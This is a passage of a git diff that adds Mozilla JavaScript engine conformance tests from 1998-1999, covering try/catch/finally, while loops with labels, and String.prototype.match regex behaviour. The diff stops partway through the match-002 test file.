@@ -0,0 +1,87 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ * File Name: try-006.js
+ * ECMA Section:
+ * Description: The try statement
+ *
+ * Throw an exception from within a With block in a try block. Verify
+ * that any expected exceptions are caught.
+ *
+ * Author: christine@netscape.com
+ * Date: 11 August 1998
+ */
+var SECTION = "try-006";
+var VERSION = "ECMA_2";
+var TITLE = "The try statement";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+/**
+ * This is the "check" function for test objects that will
+ * throw an exception.
+ */
+function throwException() {
+ throw EXCEPTION_STRING +": " + this.valueOf();
+}
+var EXCEPTION_STRING = "Exception thrown:";
+
+/**
+ * This is the "check" function for test objects that do not
+ * throw an exception
+ */
+function noException() {
+ return this.valueOf();
+}
+
+/**
+ * Add test cases here
+ */
+TryWith( new TryObject( "hello", throwException, true ));
+TryWith( new TryObject( "hola", noException, false ));
+
+/**
+ * Run the test.
+ */
+
+test();
+
+/**
+ * This is the object that will be the "this" in a with block.
+ */
+function TryObject( value, fun, exception ) {
+ this.value = value;
+ this.exception = exception;
+
+ this.valueOf = new Function ( "return this.value" );
+ this.check = fun;
+}
+
+/**
+ * This function has the try block that has a with block within it.
+ * Test cases are added in this function. Within the with block, the
+ * object's "check" function is called. If the test object's exception
+ * property is true, we expect the result to be the exception value.
+ * If exception is false, then we expect the result to be the value of
+ * the object.
+ */
+function TryWith( object ) {
+ try {
+ with ( object ) {
+ result = check();
+ }
+ } catch ( e ) {
+ result = e;
+ }
+
+ new TestCase(
+ SECTION,
+ "TryWith( " + object.value +" )",
+ (object.exception ? EXCEPTION_STRING +": " + object.valueOf() : object.valueOf()),
+ result );
+}
diff --git a/js/src/tests/ecma_2/Statements/try-007.js b/js/src/tests/ecma_2/Statements/try-007.js
new file mode 100644
index 000000000..93e08a0a1
--- /dev/null
+++ b/js/src/tests/ecma_2/Statements/try-007.js
@@ -0,0 +1,92 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ * File Name: try-007.js
+ * ECMA Section:
+ * Description: The try statement
+ *
+ * This test has a for-in statement within a try block.
+ *
+ *
+ * Author: christine@netscape.com
+ * Date: 11 August 1998
+ */
+var SECTION = "try-007";
+var VERSION = "ECMA_2";
+var TITLE = "The try statement: for-in";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+/**
+ * This is the "check" function for test objects that will
+ * throw an exception.
+ */
+function throwException() {
+ throw EXCEPTION_STRING +": " + this.valueOf();
+}
+var EXCEPTION_STRING = "Exception thrown:";
+
+/**
+ * This is the "check" function for test objects that do not
+ * throw an exception
+ */
+function noException() {
+ return this.valueOf();
+}
+
+/**
+ * Add test cases here
+ */
+TryForIn( new TryObject( "hello", throwException, true ));
+TryForIn( new TryObject( "hola", noException, false ));
+
+/**
+ * Run the test.
+ */
+
+test();
+
+/**
+ * This is the object that will be the "this" in a with block.
+ * The check function is either throwException() or noException().
+ * See above.
+ *
+ */
+function TryObject( value, fun, exception ) {
+ this.value = value;
+ this.exception = exception;
+
+ this.check = fun;
+ this.valueOf = function () { return this.value; }
+}
+
+/**
+ * This function has a for-in statement within a try block. Test cases
+ * are added after the try-catch-finally statement. Within the for-in
+ * block, call a function that can throw an exception. Verify that any
+ * exceptions are properly caught.
+ */
+
+function TryForIn( object ) {
+ try {
+ for ( p in object ) {
+ if ( typeof object[p] == "function" ) {
+ result = object[p]();
+ }
+ }
+ } catch ( e ) {
+ result = e;
+ }
+
+ new TestCase(
+ SECTION,
+ "TryForIn( " + object+ " )",
+ (object.exception ? EXCEPTION_STRING +": " + object.value : object.value),
+ result );
+
+}
diff --git a/js/src/tests/ecma_2/Statements/try-008.js b/js/src/tests/ecma_2/Statements/try-008.js
new file mode 100644
index 000000000..d47ced0ae
--- /dev/null
+++ b/js/src/tests/ecma_2/Statements/try-008.js
@@ -0,0 +1,59 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ * File Name: try-008.js
+ * ECMA Section:
+ * Description: The try statement
+ *
+ * This test has a try block in a constructor.
+ *
+ *
+ * Author: christine@netscape.com
+ * Date: 11 August 1998
+ */
+var SECTION = "try-008";
+var VERSION = "ECMA_2";
+var TITLE = "The try statement: try in a constructor";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+function Integer( value, exception ) {
+ try {
+ this.value = checkValue( value );
+ } catch ( e ) {
+ this.value = e.toString();
+ }
+
+ new TestCase(
+ SECTION,
+ "Integer( " + value +" )",
+ (exception ? INVALID_INTEGER_VALUE +": " + value : this.value),
+ this.value );
+}
+
+var INVALID_INTEGER_VALUE = "Invalid value for java.lang.Integer constructor";
+
+function checkValue( value ) {
+ if ( Math.floor(value) != value || isNaN(value) ) {
+ throw ( INVALID_INTEGER_VALUE +": " + value );
+ } else {
+ return value;
+ }
+}
+
+// add test cases
+
+new Integer( 3, false );
+new Integer( NaN, true );
+new Integer( 0, false );
+new Integer( Infinity, false );
+new Integer( -2.12, true );
+new Integer( Math.LN2, true );
+
+
+test();
diff --git a/js/src/tests/ecma_2/Statements/try-009.js b/js/src/tests/ecma_2/Statements/try-009.js
new file mode 100644
index 000000000..d3e0ebaa2
--- /dev/null
+++ b/js/src/tests/ecma_2/Statements/try-009.js
@@ -0,0 +1,66 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ * File Name: try-009.js
+ * ECMA Section:
+ * Description: The try statement
+ *
+ * This test has a try block within a while block. Verify that an exception
+ * breaks out of the while. I don't really know why this is an interesting
+ * test case but Mike Shaver had two of these so what the hey.
+ *
+ * Author: christine@netscape.com
+ * Date: 11 August 1998
+ */
+var SECTION = "try-009";
+var VERSION = "ECMA_2";
+var TITLE = "The try statement: try in a while block";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var EXCEPTION_STRING = "Exception thrown: ";
+var NO_EXCEPTION_STRING = "No exception thrown: ";
+
+
+TryInWhile( new TryObject( "hello", ThrowException, true ) );
+TryInWhile( new TryObject( "aloha", NoException, false ));
+
+test();
+
+function TryObject( value, throwFunction, result ) {
+ this.value = value;
+ this.thrower = throwFunction;
+ this.result = result;
+}
+function ThrowException() {
+ throw EXCEPTION_STRING + this.value;
+}
+function NoException() {
+ return NO_EXCEPTION_STRING + this.value;
+}
+function TryInWhile( object ) {
+ result = null;
+ while ( true ) {
+ try {
+ object.thrower();
+ result = NO_EXCEPTION_STRING + object.value;
+ break;
+ } catch ( e ) {
+ result = e;
+ break;
+ }
+ }
+
+ new TestCase(
+ SECTION,
+ "( "+ object +".thrower() )",
+ (object.result
+ ? EXCEPTION_STRING + object.value :
+ NO_EXCEPTION_STRING + object.value),
+ result );
+}
diff --git a/js/src/tests/ecma_2/Statements/try-010.js b/js/src/tests/ecma_2/Statements/try-010.js
new file mode 100644
index 000000000..5ee472c3b
--- /dev/null
+++ b/js/src/tests/ecma_2/Statements/try-010.js
@@ -0,0 +1,73 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ * File Name: try-010.js
+ * ECMA Section:
+ * Description: The try statement
+ *
+ * This has a try block nested in the try block. Verify that the
+ * exception is caught by the right try block, and all finally blocks
+ * are executed.
+ *
+ * Author: christine@netscape.com
+ * Date: 11 August 1998
+ */
+var SECTION = "try-010";
+var VERSION = "ECMA_2";
+var TITLE = "The try statement: try in a tryblock";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var EXCEPTION_STRING = "Exception thrown: ";
+var NO_EXCEPTION_STRING = "No exception thrown: ";
+
+
+NestedTry( new TryObject( "No Exceptions Thrown", NoException, NoException, 43 ) );
+NestedTry( new TryObject( "Throw Exception in Outer Try", ThrowException, NoException, 48 ));
+NestedTry( new TryObject( "Throw Exception in Inner Try", NoException, ThrowException, 45 ));
+NestedTry( new TryObject( "Throw Exception in Both Trys", ThrowException, ThrowException, 48 ));
+
+test();
+
+function TryObject( description, tryOne, tryTwo, result ) {
+ this.description = description;
+ this.tryOne = tryOne;
+ this.tryTwo = tryTwo;
+ this.result = result;
+}
+function ThrowException() {
+ throw EXCEPTION_STRING + this.value;
+}
+function NoException() {
+ return NO_EXCEPTION_STRING + this.value;
+}
+function NestedTry( object ) {
+ result = 0;
+ try {
+ object.tryOne();
+ result += 1;
+ try {
+ object.tryTwo();
+ result += 2;
+ } catch ( e ) {
+ result +=4;
+ } finally {
+ result += 8;
+ }
+ } catch ( e ) {
+ result += 16;
+ } finally {
+ result += 32;
+ }
+
+ new TestCase(
+ SECTION,
+ object.description,
+ object.result,
+ result );
+}
diff --git a/js/src/tests/ecma_2/Statements/try-012.js b/js/src/tests/ecma_2/Statements/try-012.js
new file mode 100644
index 000000000..3ee7d1026
--- /dev/null
+++ b/js/src/tests/ecma_2/Statements/try-012.js
@@ -0,0 +1,95 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ * File Name: try-012.js
+ * ECMA Section:
+ * Description: The try statement
+ *
+ * This test has a try with no catch, and a finally. This is like try-003,
+ * but throws from a finally block, not the try block.
+ *
+ * Author: christine@netscape.com
+ * Date: 11 August 1998
+ */
+var SECTION = "try-012";
+var VERSION = "ECMA_2";
+var TITLE = "The try statement";
+var BUGNUMBER="336872";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+// Tests start here.
+
+TrySomething( "x = \"hi\"", true );
+TrySomething( "throw \"boo\"", true );
+TrySomething( "throw 3", true );
+
+test();
+
+/**
+ * This function contains a try block with no catch block,
+ * but it does have a finally block. Try to evaluate expressions
+ * that do and do not throw exceptions.
+ *
+ * The productioni TryStatement Block Finally is evaluated as follows:
+ * 1. Evaluate Block
+ * 2. Evaluate Finally
+ * 3. If Result(2).type is normal return result 1 (in the test case, result 1 has
+ * the completion type throw)
+ * 4. return result 2 (does not get hit in this case)
+ *
+ */
+
+function TrySomething( expression, throwing ) {
+ innerFinally = "FAIL: DID NOT HIT INNER FINALLY BLOCK";
+ if (throwing) {
+ outerCatch = "FAILED: NO EXCEPTION CAUGHT";
+ } else {
+ outerCatch = "PASS";
+ }
+ outerFinally = "FAIL: DID NOT HIT OUTER FINALLY BLOCK";
+
+
+ // If the inner finally does not throw an exception, the result
+ // of the try block should be returned. (Type of inner return
+ // value should be throw if finally executes correctly
+
+ try {
+ try {
+ throw 0;
+ } finally {
+ innerFinally = "PASS";
+ eval( expression );
+ }
+ } catch ( e ) {
+ if (throwing) {
+ outerCatch = "PASS";
+ } else {
+ outerCatch = "FAIL: HIT OUTER CATCH BLOCK";
+ }
+ } finally {
+ outerFinally = "PASS";
+ }
+
+
+ new TestCase(
+ SECTION,
+ "eval( " + expression +" ): evaluated inner finally block",
+ "PASS",
+ innerFinally );
+ new TestCase(
+ SECTION,
+ "eval( " + expression +" ): evaluated outer catch block ",
+ "PASS",
+ outerCatch );
+ new TestCase(
+ SECTION,
+ "eval( " + expression +" ): evaluated outer finally block",
+ "PASS",
+ outerFinally );
+}
diff --git a/js/src/tests/ecma_2/Statements/while-001.js b/js/src/tests/ecma_2/Statements/while-001.js
new file mode 100644
index 000000000..88fd8dfe8
--- /dev/null
+++ b/js/src/tests/ecma_2/Statements/while-001.js
@@ -0,0 +1,42 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ * File Name: while-001
+ * ECMA Section:
+ * Description: while statement
+ *
+ * Verify that the while statement is not executed if the while expression is
+ * false
+ *
+ * Author: christine@netscape.com
+ * Date: 11 August 1998
+ */
+var SECTION = "while-001";
+var VERSION = "ECMA_2";
+var TITLE = "while statement";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+DoWhile();
+test();
+
+function DoWhile() {
+ result = "pass";
+
+ while (false) {
+ result = "fail";
+ break;
+ }
+
+ new TestCase(
+ SECTION,
+ "while statement: don't evaluate statement is expression is false",
+ "pass",
+ result );
+
+}
diff --git a/js/src/tests/ecma_2/Statements/while-002.js b/js/src/tests/ecma_2/Statements/while-002.js
new file mode 100644
index 000000000..a3c315bf2
--- /dev/null
+++ b/js/src/tests/ecma_2/Statements/while-002.js
@@ -0,0 +1,86 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ * File Name: while-002
+ * ECMA Section:
+ * Description: while statement
+ *
+ * Verify that the while statement is not executed if the while expression is
+ * false
+ *
+ * Author: christine@netscape.com
+ * Date: 11 August 1998
+ */
+var SECTION = "while-002";
+var VERSION = "ECMA_2";
+var TITLE = "while statement";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+DoWhile( new DoWhileObject(
+ "while expression is null",
+ null,
+ "result = \"fail: should not have evaluated statements in while block;break"
+ ) );
+
+DoWhile( new DoWhileObject(
+ "while expression is undefined",
+ void 0,
+ "result = \"fail: should not have evaluated statements in while block; break"
+ ));
+
+DoWhile( new DoWhileObject(
+ "while expression is 0",
+ 0,
+ "result = \"fail: should not have evaluated statements in while block; break;"
+ ));
+
+DoWhile( new DoWhileObject(
+ "while expression is eval(\"\")",
+ eval(""),
+ "result = \"fail: should not have evaluated statements in while block; break"
+ ));
+
+DoWhile( new DoWhileObject(
+ "while expression is NaN",
+ NaN,
+ "result = \"fail: should not have evaluated statements in while block; break"
+ ));
+
+test();
+
+function DoWhileObject( d, e, s ) {
+ this.description = d;
+ this.whileExpression = e;
+ this.statements = s;
+}
+
+function DoWhile( object ) {
+ result = "pass";
+
+ while ( expression = object.whileExpression ) {
+ eval( object.statements );
+ }
+
+ // verify that the while expression was evaluated
+
+ new TestCase(
+ SECTION,
+ "verify that while expression was evaluated (should be "+
+ object.whileExpression +")",
+ "pass",
+ (object.whileExpression == expression ||
+ ( isNaN(object.whileExpression) && isNaN(expression) )
+ ) ? "pass" : "fail" );
+
+ new TestCase(
+ SECTION,
+ object.description,
+ "pass",
+ result );
+}
diff --git a/js/src/tests/ecma_2/Statements/while-003.js b/js/src/tests/ecma_2/Statements/while-003.js
new file mode 100644
index 000000000..b47d09a7a
--- /dev/null
+++ b/js/src/tests/ecma_2/Statements/while-003.js
@@ -0,0 +1,87 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ * File Name: while-003
+ * ECMA Section:
+ * Description: while statement
+ *
+ * The while expression evaluates to true, Statement returns abrupt completion.
+ *
+ * Author: christine@netscape.com
+ * Date: 11 August 1998
+ */
+var SECTION = "while-003";
+var VERSION = "ECMA_2";
+var TITLE = "while statement";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+DoWhile( new DoWhileObject(
+ "while expression is true",
+ true,
+ "result = \"pass\";" ));
+
+DoWhile( new DoWhileObject(
+ "while expression is 1",
+ 1,
+ "result = \"pass\";" ));
+
+DoWhile( new DoWhileObject(
+ "while expression is new Boolean(false)",
+ new Boolean(false),
+ "result = \"pass\";" ));
+
+DoWhile( new DoWhileObject(
+ "while expression is new Object()",
+ new Object(),
+ "result = \"pass\";" ));
+
+DoWhile( new DoWhileObject(
+ "while expression is \"hi\"",
+ "hi",
+ "result = \"pass\";" ));
+/*
+ DoWhile( new DoWhileObject(
+ "while expression has a continue in it",
+ "true",
+ "if ( i == void 0 ) i = 0; result=\"pass\"; if ( ++i == 1 ) {continue;} else {break;} result=\"fail\";"
+ ));
+*/
+test();
+
+function DoWhileObject( d, e, s ) {
+ this.description = d;
+ this.whileExpression = e;
+ this.statements = s;
+}
+
+function DoWhile( object ) {
+ result = "fail: statements in while block were not evaluated";
+
+ while ( expression = object.whileExpression ) {
+ eval( object.statements );
+ break;
+ }
+
+ // verify that the while expression was evaluated
+
+ new TestCase(
+ SECTION,
+ "verify that while expression was evaluated (should be "+
+ object.whileExpression +")",
+ "pass",
+ (object.whileExpression == expression ||
+ ( isNaN(object.whileExpression) && isNaN(expression) )
+ ) ? "pass" : "fail" );
+
+ new TestCase(
+ SECTION,
+ object.description,
+ "pass",
+ result );
+}
diff --git a/js/src/tests/ecma_2/Statements/while-004.js b/js/src/tests/ecma_2/Statements/while-004.js
new file mode 100644
index 000000000..393e680e5
--- /dev/null
+++ b/js/src/tests/ecma_2/Statements/while-004.js
@@ -0,0 +1,217 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ * File Name: while-004
+ * ECMA Section:
+ * Description: while statement
+ *
+ * Author: christine@netscape.com
+ * Date: 11 August 1998
+ */
+var SECTION = "while-004";
+var VERSION = "ECMA_2";
+var TITLE = "while statement";
+var BUGNUMBER="316725";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+DoWhile_1();
+DoWhile_2();
+DoWhile_3();
+DoWhile_4();
+DoWhile_5();
+
+test();
+
+/**
+ * Break out of a while by calling return.
+ *
+ * Tests: 12.6.2 step 6.
+ */
+function dowhile() {
+ result = "pass";
+
+ while (true) {
+ return result;
+ result = "fail: hit code after return statement";
+ break;
+ }
+}
+
+function DoWhile_1() {
+ description = "return statement in a while block";
+
+ result = dowhile();
+
+ new TestCase(
+ SECTION,
+ "DoWhile_1" + description,
+ "pass",
+ result );
+}
+
+/**
+ * While with a labeled continue statement. Verify that statements
+ * after the continue statement are not evaluated.
+ *
+ * Tests: 12.6.2 step 8.
+ *
+ */
+function DoWhile_2() {
+ var description = "while with a labeled continue statement";
+ var result1 = "pass";
+ var result2 = "fail: did not execute code after loop, but inside label";
+ var i = 0;
+ var j = 0;
+
+theloop:
+ while( i++ < 10 ) {
+ j++;
+ continue theloop;
+ result1 = "failed: hit code after continue statement";
+ }
+ result2 = "pass";
+
+ new TestCase(
+ SECTION,
+ "DoWhile_2: " +description + " - code inside the loop, before the continue should be executed ("+j+")",
+ true,
+ j == 10 );
+
+ new TestCase(
+ SECTION,
+ "DoWhile_2: " +description +" - code after labeled continue should not be executed",
+ "pass",
+ result1 );
+
+ new TestCase(
+ SECTION,
+ "DoWhile_2: " +description +" - code after loop but inside label should be executed",
+ "pass",
+ result2 );
+}
+
+/**
+ * While with a labeled break.
+ *
+ */
+function DoWhile_3() {
+ var description = "while with a labeled break statement";
+ var result1 = "pass";
+ var result2 = "pass";
+ var result3 = "fail: did not get to code after label";
+
+woohoo: {
+ while( true ) {
+ break woohoo;
+ result1 = "fail: got to code after a break";
+ }
+ result2 = "fail: got to code outside of loop but inside label";
+ }
+
+ result3 = "pass";
+
+ new TestCase(
+ SECTION,
+ "DoWhile_3: " +description +" - verify break out of loop",
+ "pass",
+ result1 );
+
+
+ new TestCase(
+ SECTION,
+ "DoWhile_3: " +description +" - verify break out of label",
+ "pass",
+ result2 );
+
+ new TestCase(
+ SECTION,
+ "DoWhile_3: " +description + " - verify correct exit from label",
+ "pass",
+ result3 );
+}
+
+
+/**
+ * Labled while with an unlabeled break
+ *
+ */
+function DoWhile_4() {
+ var description = "labeled while with an unlabeled break";
+ var result1 = "pass";
+ var result2 = "pass";
+ var result3 = "fail: did not evaluate statement after label";
+
+woohooboy: {
+ while( true ) {
+ break woohooboy;
+ result1 = "fail: got to code after the break";
+ }
+ result2 = "fail: broke out of while, but not out of label";
+ }
+ result3 = "pass";
+
+ new TestCase(
+ SECTION,
+ "DoWhile_4: " +description +" - verify break out of while loop",
+ "pass",
+ result1 );
+
+ new TestCase(
+ SECTION,
+ "DoWhile_4: " +description + " - verify break out of label",
+ "pass",
+ result2 );
+
+ new TestCase(
+ SECTION,
+ "DoWhile_4: " +description +" - verify that statements after label are evaluated",
+ "pass",
+ result3 );
+}
+
+/**
+ * in this case, should behave the same way as
+ *
+ *
+ */
+function DoWhile_5() {
+ var description = "while with a labeled continue statement";
+ var result1 = "pass";
+ var result2 = "fail: did not execute code after loop, but inside label";
+ var i = 0;
+ var j = 0;
+
+theloop: {
+ j++;
+ while( i++ < 10 ) {
+ continue;
+ result1 = "failed: hit code after continue statement";
+ }
+ result2 = "pass";
+ }
+
+ new TestCase(
+ SECTION,
+ "DoWhile_5: " +description + " - continue should not execute statements above the loop",
+ true,
+ ( j == 1 ) );
+
+ new TestCase(
+ SECTION,
+ "DoWhile_5: " +description +" - code after labeled continue should not be executed",
+ "pass",
+ result1 );
+
+ new TestCase(
+ SECTION,
+ "DoWhile_5: " +description +" - code after loop but inside label should be executed",
+ "pass",
+ result2 );
+}
+
diff --git a/js/src/tests/ecma_2/String/browser.js b/js/src/tests/ecma_2/String/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_2/String/browser.js
diff --git a/js/src/tests/ecma_2/String/match-001.js b/js/src/tests/ecma_2/String/match-001.js
new file mode 100644
index 000000000..ab6082a1a
--- /dev/null
+++ b/js/src/tests/ecma_2/String/match-001.js
@@ -0,0 +1,106 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ * File Name: String/match-001.js
+ * ECMA Section: 15.6.4.9
+ * Description: Based on ECMA 2 Draft 7 February 1999
+ *
+ * Author: christine@netscape.com
+ * Date: 19 February 1999
+ */
+
+/*
+ * String.match( regexp )
+ *
+ * If regexp is not an object of type RegExp, it is replaced with result
+ * of the expression new RegExp(regexp). Let string denote the result of
+ * converting the this value to a string. If regexp.global is false,
+ * return the result obtained by invoking RegExp.prototype.exec (see
+ * section 15.7.5.3) on regexp with string as parameter.
+ *
+ * Otherwise, set the regexp.lastIndex property to 0 and invoke
+ * RegExp.prototype.exec repeatedly until there is no match. If there is a
+ * match with an empty string (in other words, if the value of
+ * regexp.lastIndex is left unchanged) increment regexp.lastIndex by 1.
+ * The value returned is an array with the properties 0 through n-1
+ * corresponding to the first element of the result of each matching
+ * invocation of RegExp.prototype.exec.
+ *
+ * Note that the match function is intentionally generic; it does not
+ * require that its this value be a string object. Therefore, it can be
+ * transferred to other kinds of objects for use as a method.
+ */
+
+var SECTION = "String/match-001.js";
+var VERSION = "ECMA_2";
+var TITLE = "String.prototype.match( regexp )";
+
+startTest();
+
+// the regexp argument is not a RegExp object
+// this is not a string object
+
+// cases in which the regexp global property is false
+
+AddRegExpCases( 3, "3", "1234567890", 1, 2, ["3"] );
+
+// cases in which the regexp object global property is true
+
+AddGlobalRegExpCases( /34/g, "/34/g", "343443444", 3, ["34", "34", "34"] );
+AddGlobalRegExpCases( /\d{1}/g, "/d{1}/g", "123456abcde7890", 10,
+ ["1", "2", "3", "4", "5", "6", "7", "8", "9", "0"] );
+
+AddGlobalRegExpCases( /\d{2}/g, "/d{2}/g", "123456abcde7890", 5,
+ ["12", "34", "56", "78", "90"] );
+
+AddGlobalRegExpCases( /\D{2}/g, "/d{2}/g", "123456abcde7890", 2,
+ ["ab", "cd"] );
+
+test();
+
+
+function AddRegExpCases(
+ regexp, str_regexp, string, length, index, matches_array ) {
+
+ AddTestCase(
+ "( " + string + " ).match(" + str_regexp +").length",
+ length,
+ string.match(regexp).length );
+
+ AddTestCase(
+ "( " + string + " ).match(" + str_regexp +").index",
+ index,
+ string.match(regexp).index );
+
+ AddTestCase(
+ "( " + string + " ).match(" + str_regexp +").input",
+ string,
+ string.match(regexp).input );
+
+ for ( var matches = 0; matches < matches_array.length; matches++ ) {
+ AddTestCase(
+ "( " + string + " ).match(" + str_regexp +")[" + matches +"]",
+ matches_array[matches],
+ string.match(regexp)[matches] );
+ }
+}
+
+function AddGlobalRegExpCases(
+ regexp, str_regexp, string, length, matches_array ) {
+
+ AddTestCase(
+ "( " + string + " ).match(" + str_regexp +").length",
+ length,
+ string.match(regexp).length );
+
+ for ( var matches = 0; matches < matches_array.length; matches++ ) {
+ AddTestCase(
+ "( " + string + " ).match(" + str_regexp +")[" + matches +"]",
+ matches_array[matches],
+ string.match(regexp)[matches] );
+ }
+}
diff --git a/js/src/tests/ecma_2/String/match-002.js b/js/src/tests/ecma_2/String/match-002.js
new file mode 100644
index 000000000..21b832501
--- /dev/null
+++ b/js/src/tests/ecma_2/String/match-002.js
@@ -0,0 +1,174 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ * File Name: String/match-002.js
+ * ECMA Section: 15.6.4.9
+ * Description: Based on ECMA 2 Draft 7 February 1999
+ *
+ * Author: christine@netscape.com
+ * Date: 19 February 1999
+ */
+
+/*
+ * String.match( regexp )
+ *
+ * If regexp is not an object of type RegExp, it is replaced with result
+ * of the expression new RegExp(regexp). Let string denote the result of
+ * converting the this value to a string. If regexp.global is false,
+ * return the result obtained by invoking RegExp.prototype.exec (see
+ * section 15.7.5.3) on regexp with string as parameter.
+ *
+ * Otherwise, set the regexp.lastIndex property to 0 and invoke
+ * RegExp.prototype.exec repeatedly until there is no match. If there is a
+ * match with an empty string (in other words, if the value of
+ * regexp.lastIndex is left unchanged) increment regexp.lastIndex by 1.
+ * The value returned is an array with the properties 0 through n-1
+ * corresponding to the first element of the result of each matching
+ * invocation of RegExp.prototype.exec.
+ *
+ * Note that the match function is intentionally generic; it does not
+ * require that its this value be a string object. Therefore, it can be
+ * transferred to other kinds of objects for use as a method.
+ *
+ * This file tests cases in which regexp.global is false. Therefore,
+ * results should behave as regexp.exec with string passed as a parameter.
+ *
+ */
+
+var SECTION = "String/match-002.js";
+var VERSION = "ECMA_2";
+var TITLE = "String.prototype.match( regexp )";
+
+startTest();
+
+// the regexp argument is not a RegExp object
+// this is not a string object
+
+AddRegExpCases( /([\d]{5})([-\ ]?[\d]{4})?$/,
+ "/([\d]{5})([-\ ]?[\d]{4})?$/",
+ "Boston, Mass. 02134",
+ 14,
+ ["02134", "02134", undefined]);
+
+AddGlobalRegExpCases( /([\d]{5})([-\ ]?[\d]{4})?$/g,
+ "/([\d]{5})([-\ ]?[\d]{4})?$/g",
+ "Boston, Mass. 02134",
+ ["02134"]);
+
+// set the value of lastIndex
+re = /([\d]{5})([-\ ]?[\d]{4})?$/;
+re.lastIndex = 0;
+
+s = "Boston, MA 02134";
+
+AddRegExpCases( re,
+ "re = /([\d]{5})([-\ ]?[\d]{4})?$/; re.lastIndex =0",
+ s,
+ s.lastIndexOf("0"),
+ ["02134", "02134", undefined]);
+
+
+re.lastIndex = s.length;
+
+AddRegExpCases( re,
+ "re = /([\d]{5})([-\ ]?[\d]{4})?$/; re.lastIndex = " +
+ s.length,
+ s,
+ s.lastIndexOf("0"),
+ ["02134", "02134", undefined] );
+
+re.lastIndex = s.lastIndexOf("0");
+
+AddRegExpCases( re,
+ "re = /([\d]{5})([-\ ]?[\d]{4})?$/; re.lastIndex = " +
+ s.lastIndexOf("0"),
+ s,
+ s.lastIndexOf("0"),
+ ["02134", "02134", undefined]);
+
+re.lastIndex = s.lastIndexOf("0") + 1;
+
+AddRegExpCases( re,
+ "re = /([\d]{5})([-\ ]?[\d]{4})?$/; re.lastIndex = " +
+ s.lastIndexOf("0") +1,
+ s,
+ s.lastIndexOf("0"),
+ ["02134", "02134", undefined]);
+
+test();
+
+function AddRegExpCases(
+ regexp, str_regexp, string, index, matches_array ) {
+
+ // prevent a runtime error
+
+ if ( regexp.exec(string) == null || matches_array == null ) {
+ AddTestCase(
+ string + ".match(" + regexp +")",
+ matches_array,
+ string.match(regexp) );
+
+ return;
+ }
+
+ AddTestCase(
+ "( " + string + " ).match(" + str_regexp +").length",
+ matches_array.length,
+ string.match(regexp).length );
+
+ AddTestCase(
+ "( " + string + " ).match(" + str_regexp +").index",
+ index,
+ string.match(regexp).index );
+
+ AddTestCase(
+ "( " + string + " ).match(" + str_regexp +").input",
+ string,
+ string.match(regexp).input );
+
